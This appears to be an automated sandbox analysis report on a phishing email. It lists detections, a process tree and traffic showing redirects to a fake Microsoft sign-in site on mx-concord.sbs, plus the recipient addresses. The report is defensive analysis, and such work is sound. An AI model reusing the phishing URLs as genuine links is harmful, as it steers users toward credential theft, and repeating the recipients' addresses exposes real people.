Edit tour

Windows Analysis Report
(No subject) (63).eml

Overview

General Information

Sample name:	(No subject) (63).eml
Analysis ID:	1500773
MD5:	bfc1564ef1eb179aeae67e47593aacfa
SHA1:	8c6183fc1f67d826d742d5c173ae7369674bd654
SHA256:	d10dbcaedf2e5709ff2f96a3d24486cab2f77106a769215ea222584edd792959
Infos:

Detection

HTMLPhisher

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus detection for URL or domain

Suricata IDS alerts for network traffic

Yara detected HtmlPhish54

Yara detected Phisher

Phishing site detected (based on favicon image match)

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Creates a process in suspended mode (likely to inject code)

Detected hidden input values containing email addresses (often used in phishing pages)

Detected suspicious crossdomain redirect

Found iframes

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Office Autorun Keys Modification

Stores files to the Windows start menu directory

Stores large binary data to the registry

Classification

Process Tree

System is w10x64_ra

OUTLOOK.EXE (PID: 6268 cmdline: "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" /eml "C:\Users\user\Desktop\(No subject) (63).eml" MD5: 91A5292942864110ED734005B7E005C0)

ai.exe (PID: 6860 cmdline: "C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe" "A0C81AF4-9D5D-4F7F-B183-E0258382C044" "1EA30F3A-7AF7-40C2-BE11-7274B12F7870" "6268" "C:\Program Files (x86)\Microsoft Office\Root\Office16\OUTLOOK.EXE" "WordCombinedFloatieLreOnline.onnx" MD5: EC652BEDD90E089D9406AFED89A8A8BD)

chrome.exe (PID: 5508 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6624 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1948,i,683624776939791388,2130131065859048813,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

lync.exe (PID: 8136 cmdline: "C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe" "sip:rphelps@minettcapital.com" MD5: EA37BE9C3560062AAD02B73D64B6E427)

lynchtmlconv.exe (PID: 5148 cmdline: "C:\Program Files (x86)\Microsoft Office\root\Office16\lynchtmlconv.exe" MD5: 6AEAD656E50BC1B6E9BEA527187B5624)

chrome.exe (PID: 7276 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://gcc02.safelinks.protection.outlook.com/?url=https%3A%2F%2Fapi.emailinc.net%2Fc.jsp%3Fl%3D47tqdjb4%26s%3Dx88b4wkuqe%2523dfsdtosprzvzvrezddwsssfujcrmy&data=05%7C02%7Cfchun%40santaclaraca.gov%7Cd42eb09f396a4d88f53a08dcc773c040%7C28ea354810694e81aa0b6e4b3271a5cb%7C0%7C0%7C638604548020847503%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C40000%7C%7C%7C&sdata=AckqBHV5qsCwN%2FCw%2F20sZvnkf6KYipPkgDNNzPKfaLk%3D&reserved=0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=1980,i,15079542983284851120,9533258927394431202,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

OpenWith.exe (PID: 7620 cmdline: C:\Windows\system32\OpenWith.exe -Embedding MD5: E4A834784FA08C17D47A1E72429C5109)

OpenWith.exe (PID: 7912 cmdline: C:\Windows\system32\OpenWith.exe -Embedding MD5: E4A834784FA08C17D47A1E72429C5109)

HxOutlook.exe (PID: 724 cmdline: "C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxOutlook.exe" -ServerName:microsoft.windowslive.mail.AppXfbjsbkxvprcgqg6q4c9jfr0pn3kv9x5s.mca MD5: 6F8EAC2C377C8F16D91CB5AC8B8DBF5F)

HxAccounts.exe (PID: 7960 cmdline: "C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\HxAccounts.exe" -ServerName:microsoft.windowslive.manageaccounts.AppXdbf3yp5apt3t7q877db3gnz5zqpf71zj.mca MD5: 6FEB00C9A2C3FF66230658B3012BAB6A)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_132	JoeSecurity_Phisher_2	Yara detected Phisher	Joe Security

HTML

Source	Rule	Description	Author
2.4.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.12.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.23.id.script.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.1.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.2.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
4.4.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
2.5.pages.csv	JoeSecurity_HtmlPhish_54	Yara detected HtmlPhish_54	Joe Security
Click to see the 2 entries

Sigma Signatures

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe" /fromrunkey, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe, ProcessId: 8136, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lync

Sigma detected: Office Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: 2, EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Microsoft Office\root\Office16\OUTLOOK.EXE, ProcessId: 6268, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Outlook\AddinsData\ColleagueImport.ColleagueImportAddin\LoadCount

Suricata Signatures

ETPRO PHISHING JS/PsyduckPockeball Payload Inbound - Source IP: 185.225.69.39 - Destination IP: 192.168.2.16

Timestamp:	2024-08-28T22:20:49.036860+0200
SID:	2857090
Severity:	1
Source Port:	443
Destination Port:	49732
Protocol:	TCP
Classtype:	Successful Credential Theft Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://avco.co.jp/vm/Oauth-vm-office-caller-api/win10.php

Avira URL Cloud: Label: phishing

Phishing

AI detected phishing page

Source: https://l1ve.mx-concord.sbs/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2fportal.mx-concord.sbs%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAROvbl192LRaa-Gv9z3LAw142YxcsbnZJaBVa5iVCZsnP4FRsYXjIy3mAT9i9I9U8KL3VJTUosSSzLz8y6wCLxi4TFgtuLg4BJgkGBQYPjBwriIFWir1i31y3k50h7NQV9Sk7O9GU6x6vsFOgYHeRUmhTv5OmdElgdkBZkUeZubVJimllp4eiZ5OBUYpBl4ZlU6FufbmlsZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu7xtwbt3nze-83jFr1MQUhjoE-SW7FcUUZ5ZVRleaRBl5FuZ4ZORamocnJEZYuCbXZVnaBhhEuxru0GA4YEAAwA1&estsfed=1&uaid=dddaecca72d14acb80fd0bde3831295e&fci=https%3a%2f%2fc188f54d-b128254c.mx-concord.sbs&username=bob%40gmail.com&login_hint=bob%40gmail.com

LLM: Score: 8 Reasons: The URL 'l1ve.mx-concord.sbs' is unusual and does not match the typical domain structure of Microsoft. The use of numbers and hyphens in the domain name is not typical for brand domains, and the top-level domain '.mx' is a country-code top-level domain for Mexico, which is not commonly used by Microsoft. The design of the webpage is clean and minimalistic, but the domain name is suspicious and raises concerns about the legitimacy of the site. DOM: 9.6.pages.csv

Yara detected HtmlPhish54

Source: Yara match	File source: 2.4.id.script.csv, type: HTML
Source: Yara match	File source: 4.12.id.script.csv, type: HTML
Source: Yara match	File source: 2.23.id.script.csv, type: HTML
Source: Yara match	File source: 2.1.pages.csv, type: HTML
Source: Yara match	File source: 4.2.pages.csv, type: HTML
Source: Yara match	File source: 4.4.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML

Yara detected Phisher

Source: Yara match

File source: dropped/chromecache_132, type: DROPPED

Phishing site detected (based on favicon image match)

Source: https://mx-concord.sbs	Matcher: Template: microsoft matched with high similarity
Source: https://portal.mx-concord.sbs/?lit=up	Matcher: Template: microsoft matched with high similarity
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	Matcher: Template: microsoft matched with high similarity

Phishing site detected (based on image similarity)

Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Matcher: Template: microsoft matched

HTTP Parser: bob@gmail.com

Source: https://portal.mx-concord.sbs/?lit=up	HTTP Parser: Iframe src: https://2380eb27-b128254c.mx-concord.sbs/Prefetch/Prefetch.aspx
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: Iframe src: https://2380eb27-b128254c.mx-concord.sbs/Prefetch/Prefetch.aspx
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: Iframe src: https://2380eb27-b128254c.mx-concord.sbs/Prefetch/Prefetch.aspx

Source: https://portal.mx-concord.sbs/?lit=up	HTTP Parser: Number of links: 1
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: Number of links: 0

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://portal.mx-concord.sbs/?lit=up

HTTP Parser: Base64 decoded: a[href="http://www.salidzini.lv/"][style="display: block; width: 88px; height: 31px; overflow: hidden; position: relative;"]

Source: https://portal.mx-concord.sbs/?lit=up	HTTP Parser: Title: Sign in to your account does not match URL
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL
Source: https://l1ve.mx-concord.sbs/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2fportal.mx-concord.sbs%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAROvbl192LRaa-Gv9z3LAw142YxcsbnZJaBVa5iVCZsnP4FRsYXjIy3mAT9i9I9U8KL3VJTUosSSzLz8y6wCLxi4TFgtuLg4BJgkGBQYPjBwriIFWir1i31y3k50h7NQV9Sk7O9GU6x6vsFOgYHeRUmhTv5OmdElgdkBZkUeZubVJimllp4eiZ5OBUYpBl4ZlU6FufbmlsZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu7xtwbt3nze-83jFr1MQUhjoE-SW7FcUUZ5ZVRleaRBl5FuZ4ZORamocnJEZYuCbXZVnaBhhEuxru0GA4YEAAwA1&estsfed=1&uaid=dddaecca72d14acb80fd0bde3831295e&fci=https%3a%2f%2fc188f54d-b128254c.mx-concord.sbs&username=bob%40gmail.com&login_hint=bob%40gmail.com	HTTP Parser: Title: Sign in to your Microsoft account does not match URL

Source: https://portal.mx-concord.sbs/?lit=up	HTTP Parser: <input type="password" .../> found
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: <input type="password" .../> found
Source: https://l1ve.mx-concord.sbs/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2fportal.mx-concord.sbs%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAROvbl192LRaa-Gv9z3LAw142YxcsbnZJaBVa5iVCZsnP4FRsYXjIy3mAT9i9I9U8KL3VJTUosSSzLz8y6wCLxi4TFgtuLg4BJgkGBQYPjBwriIFWir1i31y3k50h7NQV9Sk7O9GU6x6vsFOgYHeRUmhTv5OmdElgdkBZkUeZubVJimllp4eiZ5OBUYpBl4ZlU6FufbmlsZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu7xtwbt3nze-83jFr1MQUhjoE-SW7FcUUZ5ZVRleaRBl5FuZ4ZORamocnJEZYuCbXZVnaBhhEuxru0GA4YEAAwA1&estsfed=1&uaid=dddaecca72d14acb80fd0bde3831295e&fci=https%3a%2f%2fc188f54d-b128254c.mx-concord.sbs&username=bob%40gmail.com&login_hint=bob%40gmail.com	HTTP Parser: <input type="password" .../> found

Source: https://portal.mx-concord.sbs/?lit=up	HTTP Parser: No favicon
Source: https://portal.mx-concord.sbs/?lit=up	HTTP Parser: No favicon
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: No favicon
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: No favicon
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: No favicon

Source: https://portal.mx-concord.sbs/?lit=up	HTTP Parser: No <meta name="author".. found
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://l1ve.mx-concord.sbs/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2fportal.mx-concord.sbs%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAROvbl192LRaa-Gv9z3LAw142YxcsbnZJaBVa5iVCZsnP4FRsYXjIy3mAT9i9I9U8KL3VJTUosSSzLz8y6wCLxi4TFgtuLg4BJgkGBQYPjBwriIFWir1i31y3k50h7NQV9Sk7O9GU6x6vsFOgYHeRUmhTv5OmdElgdkBZkUeZubVJimllp4eiZ5OBUYpBl4ZlU6FufbmlsZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu7xtwbt3nze-83jFr1MQUhjoE-SW7FcUUZ5ZVRleaRBl5FuZ4ZORamocnJEZYuCbXZVnaBhhEuxru0GA4YEAAwA1&estsfed=1&uaid=dddaecca72d14acb80fd0bde3831295e&fci=https%3a%2f%2fc188f54d-b128254c.mx-concord.sbs&username=bob%40gmail.com&login_hint=bob%40gmail.com	HTTP Parser: No <meta name="author".. found

Source: https://portal.mx-concord.sbs/?lit=up	HTTP Parser: No <meta name="copyright".. found
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://portal.mx-concord.sbs/?lit=up&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://l1ve.mx-concord.sbs/oauth20_authorize.srf?scope=openid+profile+email+offline_access&response_type=code&client_id=51483342-085c-4d86-bf88-cf50c7252078&response_mode=form_post&redirect_uri=https%3a%2f%2fportal.mx-concord.sbs%2fcommon%2ffederation%2foauth2msa&state=rQQIARAA42Kw0skoKSkottLXL8gvKknM0cvNTC7KL85PK8nPy8nMS9VLzs_Vyy9Kz0wBsYqEuAROvbl192LRaa-Gv9z3LAw142YxcsbnZJaBVa5iVCZsnP4FRsYXjIy3mAT9i9I9U8KL3VJTUosSSzLz8y6wCLxi4TFgtuLg4BJgkGBQYPjBwriIFWir1i31y3k50h7NQV9Sk7O9GU6x6vsFOgYHeRUmhTv5OmdElgdkBZkUeZubVJimllp4eiZ5OBUYpBl4ZlU6FufbmlsZTmATmsDGdIqN4QMbYwc7wyx2hgOcjBt4GA_wMvzgu7xtwbt3nze-83jFr1MQUhjoE-SW7FcUUZ5ZVRleaRBl5FuZ4ZORamocnJEZYuCbXZVnaBhhEuxru0GA4YEAAwA1&estsfed=1&uaid=dddaecca72d14acb80fd0bde3831295e&fci=https%3a%2f%2fc188f54d-b128254c.mx-concord.sbs&username=bob%40gmail.com&login_hint=bob%40gmail.com	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.16:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.16:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.229.151:443 -> 192.168.2.16:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 2.19.229.151:443 -> 192.168.2.16:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.5.88:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.104.136.2:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49755 version: TLS 1.2

Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\Uc.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\Psom.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\lync.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\ocimport.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\Psom.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\LyncDesktopViewModel.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\UccApi.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\lync.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\ocrec.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\Uc.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\jb3\target\x86\ship\lync\x-none\Win32MsgQueue.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\LyncDesktopViewModel.pdb source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\ocimport.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\UccApi.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\jb3\target\x86\ship\lync\x-none\Win32MsgQueue.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\lync\x-none\ocrec.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 source: Lync-16.0.16827.20130-Office-x86ship-U.etl.18.dr

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2857090 - Severity 1 - ETPRO PHISHING JS/PsyduckPockeball Payload Inbound : 185.225.69.39:443 -> 192.168.2.16:49732

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: gcc02.safelinks.protection.outlook.com to https://api.emailinc.net/c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: gcc02.safelinks.protection.outlook.com to https://api.emailinc.net/c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy

Source: global traffic

HTTP traffic detected: GET /ab?clientId=B5786FF8-3453-4616-B94D-5348C714CD0F HTTP/1.1X-OfficeApp-BuildVersion: 16.0.11629.20316Accept-Encoding: gzip, deflateX-OfficeApp-Platform: universalX-OfficeApp-Language: en-CHX-OutlookMobile-Architecture: x64X-OutlookMobile-BuildFlavor: shipX-OutlookMobile-Environment: ProductionX-OfficeApp-MsoVersion: 10.0.19045X-OutlookMobile-HxServiceAccounts: NoneContent-Length: 0Content-Encoding: gzipHost: outlookmobile-office365-tas.msedge.netConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 104.47.64.28 104.47.64.28

Source: Joe Sandbox View

ASN Name: NET23-ASHU NET23-ASHU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.126.32.68
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=C+fzv3fwMBU6XPK&MD=76YP+26l HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
